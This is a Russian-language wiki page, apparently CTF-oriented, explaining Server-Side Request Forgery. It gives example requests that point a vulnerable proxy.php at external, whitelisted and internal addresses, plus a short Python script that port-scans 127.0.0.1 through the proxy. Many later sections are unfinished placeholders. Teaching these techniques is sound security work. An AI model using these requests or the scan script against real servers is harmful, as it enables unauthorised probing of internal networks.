Ssrf

Материал из InformationSecurity WIKI
Версия от 15:57, 2 марта 2017; Drakylar (обсуждение | вклад) (Префикс http(s))

Перейти к: навигация, поиск

SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.

Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.

Поиск

Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.

Прокси

Самое типичное - возможность использования скрипта как веб-прокси.

Proxy.png

Если вы анализируете непосредственно HTTP запросы, то может быть следующее:

    POST /proxy.php HTTP/1.1
    Host: coolserver.com
     
    url=http://ipwnedyourscript.org

Скачивание файлов

Всем известный пример - скачивание аватарки по http без проверки типа файла.

Imageurl.png

Но так же это происходит и при скачивании файлов любых форматов:

Filebyurl.png

Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). О них вы можете почитать в соответствующих статьях.

Данный случай рассматривается ТОЛЬКО в случае наличия фильтрации, не позволяющий запуск произвольного кода.

Эксплуатация

(что требуется для эксплуатации - что не должно фильтроваться)

Помощь при эксплуатации

Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.

Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.

Префикс http(s)

Разделим на возможности

1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов

    GET /proxy.php?url=(http://)whitelisted.com
    Host: cooolserver.com

2. Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).

    GET /proxy.php?url=192.168.1.1 HTTP/1.1
    Host: cooolserver.com

3. Сканирование доступных портов

Сделать это удобнее всего с помощью burpsuite intruder:

PortScanSSRF1.png PortScanSSRF2.png PortScanSSRF3.png


Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:

HTTP:

    GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1
    Host: cooolserver.com

Python:

1 import requests
2 for x in range(1,65536):
3      r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
4      if r.text != '':print(x)

Perl


C/C++


Ruby

Префикс file

(обьяснение с примером)

Префикс tftp

(обьяснение с примером)

Префикс gopher

(обьяснение с примером)

Префикс dict

(обьяснение с примером)

Префикс rtsp

(обьяснение с примером)

(добавь еще префиксов)

Вектора атак

Чтение локальных файлов

(перечисляешь способы)

Скачивание файлов

(перечисляешь способы - не знаю точно возможен ли данный вектор)

Подключение к сервисам за фаерволом

(перечисляешь способы)


Сканирование портов

(перечисляешь способы + скрипты реализации)


Особенности ПО

Curl

(что поддерживает)

Requests

(что поддерживает)

(добавь свое - например робобраузеры)

Примеры из тасков

(примеры использования каких то векторов)

Райтапы

(ссылки)

Полезные ссылки

(ссылки)